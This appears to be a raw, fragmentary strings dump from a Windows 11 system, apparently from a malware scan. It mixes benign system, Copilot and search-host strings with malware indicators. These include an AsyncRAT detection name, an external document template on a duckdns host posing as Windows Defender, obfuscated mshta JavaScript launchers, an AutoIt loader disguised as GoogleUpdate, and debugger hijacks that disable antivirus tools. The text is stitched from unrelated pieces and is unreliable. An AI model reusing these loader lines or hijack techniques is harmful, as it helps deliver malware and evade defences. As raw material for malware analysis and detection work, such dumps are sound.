435f-B3D9-28DAA648C0F6}";n.FOLDERID_System="{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}";n.FOLDERID_SystemX86="{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}";let ei={};n.clearFolderCaches=gs;n.getKnownFolderPathLC=ot;let oi={};n.clearPathExpansionCache=nh;let th=/^\{([a-z0-9-]{36})\}(.*)/i;n.resolveKnownFolderGUIDsInPath=si;n.indexerFilePathToRegularPath=ih;n.enforceOriginalOrder=rh;n.getSubstrateResourceOrScope=uh;n.getProfilePictureResourceOrScope=fh;n.getBingResourceOrScope=eh;n.getTweakedSetting=oh;n.shouldSkipSelectedScope=sh;n.canShowSearchHomeUpsell=ru;n.isTextUpsized=hh;n.hasCopilotSettingEnabled=uu;n.hasPersonalizationSettingEnabled=ch;n.canShowSearchHomeAIFeed=fu;n.isCopilotAllowedEntryPoint=hi;n.canShowCopilotGreeting=lh;n.canShowCopilotQF=ah;n.shouldEnableQuickSearches=eu;n.preconditionForEnableQuickSearches=ou;n.shouldEnableAnaheimResetDefault=vh;n.shouldEnableCodexUpsell=yh;n.shouldEnableBingChatString=su;n.appendBingChatParams=ph;n.replaceSearchWithChatPath=wh;n.shouldQFSuggToBingChat=bh;n.searchChatIconClassName=hu;n.setSearchSuggestionChatIcon=kh;n.shouldSHSuggToBingChat=dh;n.shouldLaunchSuggWithDefaultBrowser=gh;n.shouldEnableSnipSearch=nc;n.canShowQuickSearch=tc;n.canShowQuickSearchWithoutANA=cu;n.shouldUseMsbEnterpriseScopes=ic;n.canShowQuickWorkSearch=rc;n.isAnaheimDataEnabled=l;n.isStoreAppEnabled=uc;n.isContactStoreEnabled=fc;n.isLocalASEnabled=ec;n.isRSHEnabled=oc;n.isTSFallbackToANA=!1;n.isTrendingSearchDataEnabled=lu;n.isTSInSearchBoxEnabled=sc;n.placeholdertextNeedUpdate=!1;n.updateTrendingsearchCacheSort=hc;const au="UserDisableTSInSearchBoxKey";let st;n.isUserDisableTSInSearchBox=cc;n.setUserDisableTSInSearchBox=lc;n.getDefaultGleamContent=ac;n.getCopyGleamExpirationTime=vu;n.getCopyGleamData=vc;n.isCopySearchEnabled=yc;n.isASWebEnabledOnSearchHome=pc;n.getHistoryCacheKeyForSelectedAccount=wc;n.getEdgeHistoryCacheKeyForSelectedAccount=bc;n.isRecentWorkSearchEnabled=kc;n.canShowAnaheimWin11ZITopSites=ci;n.canShowBingPopularQueries=yu;n.canShowAnaheimDataSHListE2E=dc;n.canShowAnaheimDataSHTileE2E=gc;n.canShowAnaheimDataSH=b;n.canShowAnaheimDataQFE2E=nl;n.canShowAnaheimDataQF=li;n.getNonce=pu;n.applyNonceToScripts=tl;n.isEligibleWindowsActivationOsSKU=!1;n.isWindowsActivationStateEnabled=il;n.loadWindowsActivationStateFromCache=rl;n.setWindowsActivationStateToCache=ul;n.isConsumerWindowsSKU=fl;n.shouldShowTwoColumns=el;n.currentTabStorageKey="currentTab";n.MeetingDismissedEndDateKey="MeetingDismissedStartDate";n.deepCopy=ai;n.shouldComponentUpdateOverload=ol;n.shouldFuncComponentUpdateOverload=sl;n.shouldFuncComponentUpdateBySomeAttr=hl;n.enableMRUSearchHome=cl;n.getFaviconUrlForRawUrl=ll;n.getDmaSuggestionIcon=al;n.getThumbnailServerUrl=wu;n.isDynamicSearchContentPossible=ht;n.isDynamicSearchContentBaseEnabled=bu;n.isDSBAl+
??0GridLength@Xaml@UI@Windows@@QEAA@NW4GridUnitType@123@@Z
??0Rect@Foundation@Windows@@QEAA@VPoint@12@0@Z
winlogon
WindowsSandboxConfig.A
!#WindowsSandboxConfig
C:\WINDOWS\system32\SecurityHealthService.exe
oundation@Windows@@QEAA@VPoint@12@VSize@12@@Z
??0RepeatBehavior@Animation@Media@Xaml@UI@Windows@@QEAA@N@Z
??0Type@Platform@@QE$AAA@VTypeName@Interop@Xaml@UI@Windows@@@Z
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
??BType@Platform@@SAPE$AAV01@VTypeName@Interop@Xaml@UI@Windows@@@Z
??DMatrix3D@Media3D@Media@Xaml@UI@Windows@@SA?AV012345@V012345@0@Z
??GDuration@Xaml@UI@Windows@@SA?AV0123@V0123@0@Z
??HDuration@Xaml@UI@Windows@@SA?AV0123@V0123@0@Z
??MDuration@Xaml@UI@Windows@@SA_NV0123@0@Z
??NDuration@Xaml@UI@Windows@@SA_NV0123@0@Z
??ODuration@Xaml@UI@Windows@@SA_NV0123@0@Z
??PDuration@Xaml@UI@Windows@@SA_NV0123@0@Z
?Compare@Duration@Xaml@UI@Windows@@SAHV1234@0@Z
?Contains@Rect@Foundation@Windows@@QEAA_NVPoint@23@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
swindows...
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
qWindows
C:\WINDOWS\SYSTEM32\BATTn
windows\syswow64\rundll32.exeQ
.?AU?$root_implements@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@5673@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$implements@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@5673@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
SCPT:Trojan:VBS/AsyncRAT.WindowsExecutionPolicyByPass
windows powershell (x86)
target="http://windowsdefendergateway.duckdns.org/documents.doc"targetmode="external
2Ec:\windows\system32\rundll32l
i4h}windows
4\system32\mshta.exe"javascript:gkx9oxq="f";b8u1=newactivexobject("w+
StandardToolWindows
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\StringFormatting.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\StringFormatting.h
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\StartSizingFrame.xaml.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\PerFrameData.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\PerFrameStorage.h
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
\Windows Updater.lnk
%Microsoft Windows Production PCA 2011
Microsoft.Windows.BitLocker.Service
Microsoft.Windows.Security.BitLocker.Bdesvc
Microsoft.Windows.Security.BitLocker.KeyRolling.Engine
Microsoft.Windows.Security.BitLocker.BcdUpdate
Microsoft.Windows.Security.BitLocker.CSP.State.Update
Microsoft.Windows.Security.BitLocker.EncryptionDelay
Microsoft.Windows.TlgAggregateInternal
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
c:\windows\system32\cmd.exe/cstartc:\google\autoit3.exe/autoit3executescriptc:\google\googleupdate.a3x&exit
dows\system32\mshta.exejavascript:eval('function%20f(x){return%20x.split("").reverse().join("");};s=f(\"nur
Lc:\windows\system32\windowspowershell\v
%s: A Windows registry operation failed: Failed to open key. key path: %s, value name: %s
%s: A Windows registry operation failed: buffer too small, need %d bytes. key path: %s, value name: %s.  Resizing buffer to retry.
%s: A Windows registry operation failed: %d. registry value TYPE is %d. key path: %s, value name: %s
%s: A Windows registry operation failed: registry value TYPE not REG_DWORD. key path: %s, value name: %s
%s: A Windows registry operation failed: %d. key path: %s, value name: %s
%s: A Windows registry operation failed: %d. key path: %s, value name: %s, value: %d
%s: A Windows registry operation failed beacuse the rgistry value had an unexpected type: %d. key path: %s, value name: %s
GET ^&&%$%$^.htmGET User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)
User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)
User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Windows Produc
ritywww.bing.com:schemehttps:path/WS/Initsec-ch-ua-full-version-listx-device-touchfalsex-bm-devicescale100sec-ch-ua"Not:A-Brand";v="99", "Chromium";v="145", "Microsoft Edge WebView2";v="145", "Microsoft Edge";v="145"sec-ch-ua-bitness""x-device-productVMware20,1x-bm-themeffffff;0078d4sec-ch-ua-mobile?0x-search-appidMicrosoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIx-bm-devicedimensions3438x1199sec-ch-ua-full-version""accepttext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7x-device-buildbranchge_releasex-bm-dtz60x-deviceid0100047E0900B8F7x-device-clientsessionEF17536FBD864BF28C0B3D4070D3E145x-device-isa9capablefalsex-positionertypeDesktopx-agent-deviceid0100047E0900B8F7x-device-machineid{3CA88F2F-E712-492F-98AE-9B40194CF1A5}ect4gx-device-isthirdpartywebsearchsupportedtrueaccept-languageen-US, enupgrade-insecure-requests1x-device-ossku48x-bm-devicedimensionslogical3438x1199x-bm-cbt1771920397x-bm-dateformatdd.MM.yy
windows/ntd
system32/config/samE
 intentant omplir contrasenyes. Escriviu la contrasenya del Windows per a permetre-ho.copilotupdateServei d'actualitzaci
9NBLGGH4RZG3LLCSKYSPARKCORP.DocumentManagerforWindows10_skhnmy5zxvp8tLLC "SKYSPARK CORP"
9PBGRW9S6GR443692CyanFood.PDFScannerforWindows10_68m3xzxrwb0hpCyan Soft
System32\vboxhook.dllS
System32\vboxoglarrayspu.dllS
System32\vboxogl.dllS
System32\vboxoglerrorspu.dllS
System32\vboxoglcrutil.dllS
System32\vboxoglpackspu.dllS
System32\vboxoglfeedbackspu.dllS
System32\vboxservice.exeS
System32\vboxoglpassthroughspu.dllS
System32\drivers\VBoxMouse.sysS
OiWxegoExxeglTvsgiwwOiMrmxmepmdiEtg\DosDevices\ibtpsviv.ibimsdn32.tlfqwhr76.xpjrxovrpte.ibi\system32OiYrwxegoHixeglTvsgiwwQqQetPsgoihTekiwWtigmjcGegli
u00ebb3b3-dead-4440-b1f8-b09dddb89ef3exitwindowsexkav2injectdnsmaskpostdel
c:\windows\system32\
/s "c:\windows\system32\
system32\shell32.dll
StopHookSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooksURLDownloadToFileA{59502416-6436-4CE9-BC06-3C1156FC3542}{5EED7056-B89D-4DE8-A060-D285EA746799}
content-type: ClipboardSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folderstime: %04d%02d%02d%02d%02d%02d
Windows NT\CurrentVersion\Image File Execution Options\RavMon.exe
LWindows NT\CurrentVersion\Image File Execution Options\AvMonitor.exe
Windows NT\CurrentVersion\Image File Execution Options\USBCleaner.exe
Windows NT\CurrentVersion\Image File Execution Options\anti_autorun.exe
Windows NT\CurrentVersion\Image File Execution Options\TrojanDetector.exe
setwindowshookexa
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
7s\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --user-data-dir="C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView" --webview-exe-name=SearchHost.exe --webview-exe-version=2125.34901.0.0 --embedded-browser-webview=1 --subproc-heap-profiling --startup-read-main-dll --metrics-shmem-handle=2208,i,3002696963376442003,9932709957494888272,524288 --field-trial-handle=2024,i,16250980060057391502,14122857680286850472,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2176 /prefetch:11 /pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
@MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Favicons
Windows.ApplicationModel.PackageExtensions
Windows.ApplicationModel.Payments
Windows.ApplicationModel.Payments.Provider
Windows.ApplicationModel.Preview.Holographic
Windows.ApplicationModel.Preview
Windows.ApplicationModel.Preview.InkWorkspace
Windows.ApplicationModel.Preview.Notes
Windows.ApplicationModel.Resources.Core
Windows
WINDOWS11
WindowsForms10.SCROLLBAR.app.0.129c866_r7_ad1
temRoot%\system32\mswsock.dl
Lifilesystem3.fileexists("c:\windows\microsoft.net\framework\v
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
GetProcessWindowStation
C:\Windows\System32\gpupdate.exe
C:\Windows\System32\taskhostw.exe
C:\Windows\System32\wermgr.exe
C:\Windows\System32\wsqmcons.exe
C:\Windows\System32\appidcertstorecheck.exe
C:\Windows\System32\UsoClient.exe
C:\Windows\System32\raserver.exe
C:\Windows\System32\rundll32.exe
 C:\WINDOWS\system32\PcaSvc.dll,PcaPatchSdbTask
 C:\WINDOWS\system32\Windows.StateRepositoryClient.dll,StateRepositoryDoMaintenanceTasks
 C:\WINDOWS\system32\CapabilityAccessManager.dll,CapabilityAccessManagerDoStoreMaintenance
C:\Windows\System32\dsregcmd.exe
C:\Windows\System32\AppHostRegistrationVerifier.exe
C:\Windows\System32\sc.exe
C:\Windows\System32\UCPDMgr.exe
C:\Windows\System32\DeviceCensus.exe
C:\Windows\System32\dstokenclean.exe
C:\Windows\System32\appidpolicyconverter.exe
C:\Windows\System32\DiskSnapshot.exe
C:\Windows\System32\Speech_OneCore\common\SpeechModelDownload.exe
\Windows Autopatch Client Broker\ClientBroker\ClientBroker.exe
C:\Windows\System32\dmclient.exe
C:\Windows\System32\ClipRenew.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\
C:\Windows\System32\UIEOrchestrator.exe
C:\Windows\System32\hvsievaluator.exe
C:\Windows\CCM\CcmEval.exe
C:\Windows\System32\cmd.exe
windowsdefenderatponboardingscript.cmd
C:\Windows\System32\cleanmgr.exe
WindowsSandboxConfig.A
T$y again.Can not install the same Microsoft Copilot version that is currently running. Please close Microsoft Copilot and try again.Installation failed due to unspecified error. Please download Microsoft Copilot again.Microsoft Copilot requires Windows 10 or higher.An operating system error occurred during installation. Please download Microsoft Copilot again.Another operation on Microsoft Copilot is in progress. Please try again later.The installer failed to uncompress archive. Please download Microsoft Copilot again.The installer archive is corrupted or invalid. Please download Microsoft Copilot again.Microsoft Copilot is already installed for all users on your computer.Provides system tracing services for $1. If this service is disabled, performance traces created by the application will not include system-wide events such as context switch and ready thread events.Import Passwords To CopilotExport Passwords From CopilotPin Copilot to your taskbar to get to it quickly anytimePin CopilotExtensions, apps, and themes from unknown sources can harm your device. Copilot recommends only installing them from the $1Learn why Copilot blocks some downloadsAdding to Copilot
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#SystemCacheResidentBytes
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#StandbyCacheReserveBytes
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#SystemCacheResidentBytes
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#StandbyCacheNormalPriorityBytes
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
fc:\windows\
"-windowstylehidden
\system32\imageres.dll
@rt@@YA?AU?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@2@AEBU34562@@Z@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AV<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@@impl@winrt@@YA?AU?$VectorChangedEventHandler@H@Collections@Foundation@Windows@2@AEBU34562@@Z@
.?AV<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@@impl@winrt@@YA?AU?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@2@AEBU34562@@Z@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@@impl@5@YA?AU12345@AEBU12345@@Z@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
.?AV<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@QEAA?AUevent_token@4@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@Z@
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.ContentPrefetcher.Internal
c:\windows\syswow64\windowspowersX
C:\windows\explorer.exe..\
gC:\windows\explore
<MainWindowStatusBarDefault>k__BackingField
IWindowsFormsEditorService
System.Windows.Forms.IMessageFilter.PreFilterMessage
Microsoft.Windows.Networking.BranchCache
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-AssignedAccess-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx-Shared-WCF-PipeActivation~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
.?AU?$implements@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@I@Collections@Foundation@Windows@3@U?$IVector@I@5673@U?$IVectorView@I@5673@U?$IIterable@I@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@I@Collections@Foundation@Windows@3@X@impl@winrt@@
